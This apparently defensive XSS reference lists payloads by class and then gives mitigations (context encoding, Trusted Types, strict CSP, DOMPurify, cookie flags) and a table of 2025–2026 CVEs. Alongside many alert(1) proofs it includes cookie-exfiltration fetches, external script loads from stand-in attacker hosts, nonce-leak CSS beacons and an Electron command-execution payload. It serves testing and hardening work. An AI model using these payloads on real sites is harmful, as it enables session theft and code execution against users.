Cross-site scripting is a flaw where attacker-controlled input is rendered into a page in an executable context, letting JavaScript run in another user’s browser session. The canonical taxonomy is reflected (single-victim link), stored (multi-victim, persisted), DOM-based (client-side source-to-sink) and mutation XSS where a sanitiser-then-parser round trip exposes a tag the sanitiser blessed.
Defense order is output encoding by context, Trusted Types to ban dangerous string-to-DOM sinks at the platform level, then CSP with strict-dynamic plus nonces. DOMPurify with RETURN_TRUSTED_TYPE handles the unavoidable user-supplied-HTML case, but only if you never mutate its output before insertion.
Payload arrives in the request and is echoed un-encoded in the immediate response — single-victim, link-driven, and the easiest class to find via response-body diffing. (PortSwigger; WSTG-INPV-01.)
<img src=x onerror=alert(1)>
A broken image src forces the browser to fire the onerror handler — minimal markup that survives allow-lists which strip <script> but allow common HTML tags with event attributes.
<svg onload=alert(1)>
Works wherever <script> is filtered but SVG is not, because the SVG namespace expands the allowed handler set. Fires automatically when the SVG node is rendered.
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<animate>'s onbegin fires without user interaction in Chrome, Firefox and Safari; useful when onload is filtered but animation events are not.
<body onpageshow=alert(1)>
onpageshow fires on every navigation, including bfcache restores, with no user interaction — slips past filters that focus on onload / onerror but forget the broader event surface.
vXSS-7c9f<>"'/
Diagnostic, not weaponised: send a unique marker plus the four metacharacters (< > " ') and diff which survive un-encoded. The surviving set tells you which context-specific payload is needed.
Payload is persisted server-side and rendered later to other users — the highest-blast-radius variant, often pivoting from a low-privilege author to a privileged admin viewer. (WSTG-INPV-02.)
<img src=x onerror="fetch('https://x.oast.example/?c='+document.cookie)">Once stored and rendered to another session, the onerror handler beacons the victim's cookies to the attacker host. If HttpOnly is set, cookies aren't reachable — a reminder of why HttpOnly matters.
<script src="https://x.oast.example/p.js"></script>
Used when the rendered context (admin back-office, support ticket viewer) is not visible to the attacker; the external script reports back via the OAST host with DOM, URL and storage snapshots.
"><img src=x onerror=alert(1)>
Stored as user-supplied JSON value, then later interpolated into innerHTML by a client-side renderer; payload escapes the attribute and lands in a DOM sink. Pattern matches the CI4MS CVE-2026-34565 family.
[click](javascript:alert(1))
Markdown renderers that emit <a href="…"> without scheme allow-listing turn javascript: links into one-click XSS for any later viewer; classic stored vector against rich-text features.
<img src=x onerror="require('child_process').exec('calc')">When a desktop app renders user content with Node integration enabled, stored XSS escalates to arbitrary command execution because the renderer process exposes require(). The Notesnook CVE-2026-42090 chain matches this shape.
The server response is benign; client-side JS reads attacker-controlled input from a source (location.hash, postMessage, localStorage, document.referrer) and writes it to a sink (innerHTML, eval, document.write, el.src). (WSTG-CLNT-01.)
http://victim/page#<img src=x onerror=alert(1)>
Client code reads location.hash and assigns it to el.innerHTML. The fragment never reaches the server, so server-side WAFs and logs are blind — only DOM-aware tooling sees it.
window.opener.postMessage('<svg onload=alert(1)>','*')An attacker page calls postMessage to a victim window that doesn't validate event.origin, dropping HTML into a document.write sink. Always allow-list origins and validate message shape.
javascript:alert(1)
Some analytics shims read document.referrer and assign it to an iframe or script src; a javascript: scheme in the referrer fires when the assignment happens. Mitigate by scheme allow-listing.
alert(1)//
Apps that JSON.parse a user-influenced localStorage value and then eval the result trust client storage as if it were code. localStorage is mutable by any same-origin script — including XSS in unrelated paths.
{ html: '<img src=x onerror=alert(1)>' }Real-time collaboration platforms accept postMessage payloads with html fields and route them into innerHTML for in-app chat / sharing — exactly the CVE-2026-27246 shape on Adobe Connect 2025.3 / 12.10.
Sanitised HTML is mutated by the parser/serialiser round trip into something dangerous — the sanitiser saw a benign tree, but the browser re-parse exposes a tag. Underlies the recent DOMPurify CVEs.
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
The sanitiser sees a benign title attribute on <p>. The browser, re-parsing the serialised output with a different content model inside <noscript>, treats the </noscript> as a real end tag and exposes the <img> — classic Cure53 mXSS.
<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=alert(1)>
Foreign-content namespace (MathML / SVG) confuses the serialiser-then-reparser pipeline; CVE-2025-15599 and CVE-2026-0540 cover this class for DOMPurify 3.1.3–3.2.6 and 2.5.3–2.5.8. Pin ≥ 3.2.7 / 2.5.9.
<a href="javascript:alert(1)">x</a>
After DOMPurify cleans the input, application code that resets href via setAttribute or string concat reintroduces the dangerous scheme. OWASP's rule: never mutate sanitiser output before insertion.
<style><style/><img src=x onerror=alert(1)>
<style> raw-text content model lets a malformed second <style/> token resync the parser into HTML mode, exposing the <img>. Survives sanitisers that allow-list <style> for trusted CSS.
Input lands inside an attribute value; quoting, autofocus and event-handler tricks let it break out into executing JavaScript without needing a new tag.
" autofocus onfocus=alert(1) x="
Closes the existing attribute value, adds an autofocus attribute that self-triggers onfocus without user interaction, and reopens a benign attribute so the rest of the tag still parses.
onmouseover=alert(1) //
Lands inside an unquoted attribute (a common framework slip). The leading space terminates the previous attribute value, the new event handler is parsed as legal HTML, and // comments out trailing junk.
alert(1)
Application code calls el.setAttribute('onclick', userInput); the browser registers the handler exactly like a static one. The fix is never to call setAttribute on event-handler names with user input.
" autofocus onfocus=alert(1) x="
HTML entities decode at parse time, so " becomes a literal double-quote and the alert call appears post-decode — useful when application code HTML-escapes < and > but forgets to encode quotes for attribute context.
Input lands inside a JS string, template literal or backslash-escaped sequence; closing the literal lets the attacker pivot into arbitrary statements.
';alert(1);//
Closes the existing JS single-quoted string, runs alert, and comments out the trailing ' so the script still parses cleanly. The canonical JS-string context payload.
${alert(1)}Inside a JS template literal, ${...} is evaluated as an expression. Any reflection of user input into a backtick-delimited string is therefore live-eval, not data.
\';alert(1);//
When the application escapes ' as \', appending another \ bypasses the escape: the trailing \\' becomes \\ (escaped backslash) followed by an unescaped quote, closing the string.
</script><svg onload=alert(1)>
When user data is JSON-stringified into an inline <script>, < and > are not escaped by JSON.stringify. A literal </script> closes the script element and the SVG fires in HTML context.
Vectors that work even when a Content-Security-Policy is in place — the modern attacker landscape, where CSP is the rule and CSP bypasses are the new XSS lifecycle.
<base href="//attacker.example/">
Without an explicit base-uri directive, an attacker-injected <base> rewrites the resolution of every relative <script src> on the page, redirecting them to an attacker host — even under a strict CSP.
<script src="https://allowed.cdn/jsonp?callback=alert(1)//"></script>
Mature CDNs almost all host a JSONP or polyfill endpoint that reflects the callback parameter as an executable identifier; allow-listing the CDN in script-src effectively allows arbitrary JS.
<script nonce="…">var s=document.createElement('script');s.src='//attacker.example/p.js';document.body.appendChild(s);</script>Once an attacker has any execution under a valid nonce — e.g. via a stored DOM sink that copies a legitimate nonce — strict-dynamic lets that script create children freely. The fix is preventing the initial execution, not relying on strict-dynamic.
script[nonce^="ab"]{background:url(//attacker.example/?ab)}CSS attribute selectors plus a side channel (URL request) leak the nonce one prefix at a time. Mitigation is not exposing the nonce as a readable attribute — use the IDL property and clear the attribute, as Chrome already does for browser-set nonces.
<iframe src="https://attacker.example/tt.html"></iframe>
Network-served iframes do not inherit Trusted-Types from the parent's CSP. The attacker iframe creates its own permissive trustedTypes.createPolicy and operates outside the parent restrictions — the spec explicitly warns about this collusion.
Payloads that work across HTML, attribute, JS-string and comment contexts in one shot — useful for fuzzing breadth before per-context confirmation.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e
Single string designed to escape HTML body, attributes, JS strings, comments and href contexts; useful for one-shot fuzzing across many sinks. Per-context payloads above are more diagnostic for confirmation.
<a href="javascript:alert(1)">x</a>
Any sink that takes a navigation URL without scheme allow-listing fires JS on click. Mitigation is allow-listing https: and relative URLs only.
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
data: URIs carrying HTML execute in the embedding origin in older renderers and as a unique opaque origin in modern browsers — still useful for phishing chains and embedded content sinks.
<x-y><template shadowroot=open><slot></slot></template><span slot=s>x</span></x-y>
Declarative shadow DOM lets attacker markup register an onslotchange handler in a custom element, firing without obvious script tags — covered in PortSwigger’s 2024–2025 cheat-sheet additions.
Confiant's research (2024, reposted Feb 2026) showed that CSP — including require-trusted-types-for 'script' — is not propagated to network-served iframes, only to local schemes. An attacker-controlled iframe creates its own trustedTypes.createPolicy and operates outside the parent's restrictions. The Trusted-Types spec explicitly warns about this collusion. Mitigate via Origin-Policy / Embedded-Policy or by blocking third-party-rendered same-origin iframes.
// Inside the attacker iframe
trustedTypes.createPolicy('p', { createHTML: s => s }).createHTML('<img src=x onerror=alert(1)>');Attribute selectors like [nonce^="ab"] combined with a CSS-driven side channel (background-image URL) reveal nonces character by character. Mitigation: do not ship nonces to the DOM as readable attributes — use the IDL property and clear the attribute, as Chrome already does for browser-set nonces.
script[nonce^="ab"]{background:url(//attacker.example/?ab)}CVE-2025-15599 and CVE-2026-0540 covered mXSS in DOMPurify 3.1.3–3.2.6 and 2.5.3–2.5.8 — the sanitiser-then-serialiser-then-reparser pipeline is hard to make idempotent, especially with foreign-content (MathML / SVG) namespaces. Pin DOMPurify ≥ 3.2.7 / 2.5.9 and avoid post-sanitisation DOM transforms.
Declaring a const global before legitimate code creates an unrebindable identifier, hijacking later references and sometimes converting reflected DOM into RCE-equivalent control flow (HackTricks 2025). Mitigation: load critical code from frozen modules and pin order with <script type="module"> import maps.
const fetch = (...a) => originalFetch(...a, { credentials: "include" })When the renderer process has Node integration enabled (Electron) or asset CSP is disabled (Tauri), stored XSS escalates to RCE because the renderer can require('child_process') or call native APIs directly. Notesnook CVE-2026-42090 is the canonical 2026 example.
Webmail clients that render the List-Unsubscribe header URL as a button will happily render attacker-controlled javascript: or data: URIs. Vendor-class issue rather than app-class but worth flagging during email-rendering reviews.
Foundation of every other defense: HTML body, HTML attribute, JS string, URL and CSS each have a different encoding rule, and mis-context (HTML-encoding a JS-string sink) is functionally no encoding. Use the framework's auto-escaper rather than rolling your own.
// React auto-escapes children by default — keep it that way.
function Comment({ body }: { body: string }) {
// Safe: React HTML-encodes for HTML body context.
return <p>{body}</p>;
// DANGEROUS: dangerouslySetInnerHTML disables the escaper.
// return <p dangerouslySetInnerHTML={{ __html: body }} />;
}
Bans dangerous string-to-DOM sinks (innerHTML, Function, document.write, etc.) at the platform level. Bugs that would have been "easy to write and hope to catch" become "impossible to write" — the strongest single XSS mitigation when paired with a strict CSP.
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default app-policy
Per Chrome Lighthouse guidance: avoid CDN allow-lists (almost all mature CDNs host JSONP or polyfill endpoints that are CSP-bypass primitives); generate per-response nonces; use strict-dynamic so trusted scripts can spawn children without re-listing; layer Trusted Types on top.
Content-Security-Policy:
default-src 'self';
script-src 'nonce-{random}' 'strict-dynamic' 'unsafe-inline' https:;
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
trusted-types default app-policy;
report-to csp-endpointFor the unavoidable user-supplied-HTML case (rich-text editors, markdown previews). Set RETURN_TRUSTED_TYPE so the output integrates with Trusted Types, USE_PROFILES.html for a sane allow-list, and never mutate the result before insertion (post-sanitisation mutation reopens mXSS).
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtml, {
USE_PROFILES: { html: true },
RETURN_TRUSTED_TYPE: true,
});
// Insert exactly what DOMPurify produced — no setAttribute, no
// string concat, no later DOM transforms on the cleaned tree.
container.innerHTML = clean as unknown as string;
Even when XSS lands, HttpOnly cookies cannot be read from JS, so session-token exfil is blocked. __Host- prefix forces Secure + Path=/ + no Domain, locking the cookie to a single origin; SameSite=Lax is the minimum to neuter cross-origin abuse.
Set-Cookie: __Host-session=…; Secure; HttpOnly; SameSite=Lax; Path=/
Prevents JSON / text endpoints from being sniffed as HTML and rendered. Combine with strict Content-Type: application/json; charset=utf-8 on JSON responses (OWASP rule 6) so user data destined for fetch never re-enters as HTML.
X-Content-Type-Options: nosniff Content-Type: application/json; charset=utf-8
event.origin must be checked against an allow-list before reading event.data; the data itself should be validated by schema (Zod / a manual type guard) and treated as untrusted input subject to the same encoding rules as HTTP body. Adobe Connect CVE-2026-27246 is a 2026 reminder that this is still missed.
const ALLOWED_ORIGINS = new Set(['https://app.example.com']);
window.addEventListener('message', (event) => {
if (!ALLOWED_ORIGINS.has(event.origin)) return;
const parsed = MessageSchema.safeParse(event.data);
if (!parsed.success) return;
handleMessage(parsed.data);
});
innerHTML, outerHTML, document.write[ln], eval, Function, setTimeout(string,…), setInterval(string,…), el.setAttribute('on*',…), <a href={input}> without scheme allow-list, React's dangerouslySetInnerHTML, Vue's v-html, Angular's bypassSecurityTrust* — all of these are escape hatches around the framework's escaping. Lint for them.
SRI on every external script doesn't stop XSS itself but prevents one CDN compromise from globally backdooring you. CSP report-uri / report-to wired to your SIEM often surfaces real-world breaches before user reports do.
<script src="https://cdn.example/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>
| CVE | Year | Title | Description |
|---|---|---|---|
| CVE-2026-42090 | 2026 | Notesnook stored XSS escalating to RCE | Stored XSS in note content executed in the Electron renderer with Node integration, escalating to remote code execution. CVSS 9.6, May 2026. Generalises to any framework that renders user content in a privileged context (Electron, Tauri without dangerous-asset CSP modification, broad-permission browser extensions). |
| CVE-2026-27246 | 2026 | Adobe Connect DOM-based XSS | DOM-based XSS in Adobe Connect 2025.3 and 12.10 via postMessage-driven sinks. CVSS 9.3, 2026. Real-time / collaboration platforms remain a high-value DOM-XSS target; pen-test postMessage handlers with malicious origins and shape-confused payloads. |
| CVE-2026-34565 | 2026 | CI4MS stored DOM XSS via menu management | Stored / stored-DOM XSS in CI4MS menu management, part of a family with CVE-2026-34558 / -34566 / -34569. CVSS 9.1–9.9, March–April 2026. Pattern to test for: any rich admin field rendered to other roles in an admin dashboard. |
| CVE-2026-33510 | 2026 | Homarr DOM-based XSS | DOM-based XSS in Homarr, 2026. Self-hosted dashboard with widgets that render user-supplied HTML — a category that has produced repeated DOM-XSS findings. |
| CVE-2026-0540 | 2026 | DOMPurify mutation-XSS class bug | Mutation XSS class bug in DOMPurify 3.1.3–3.2.6 and 2.5.3–2.5.8, paired with CVE-2025-15599. Reinforces that the sanitiser-then-serialiser-then-reparser pipeline is hard to make idempotent. Pin DOMPurify ≥ 3.2.7 / 2.5.9 and avoid post-sanitisation DOM transforms. |
| CVE-2025-15599 | 2025 | DOMPurify mutation XSS (Carbon Chart advisory) | Companion mXSS class bug to CVE-2026-0540; covered by the IBM Carbon Chart advisory. Demonstrates that defense-in-depth still matters — even a hardened sanitiser can ship class bugs that re-enable XSS through serialiser confusion. |
| CVE-2025-32625 | 2025 | Mobile Pages reflected XSS | Reflected XSS in a mainstream CMS Mobile Pages plugin, 2025. Illustrative reminder that the "boring" reflected-XSS class continues to ship in mature CMS ecosystems. |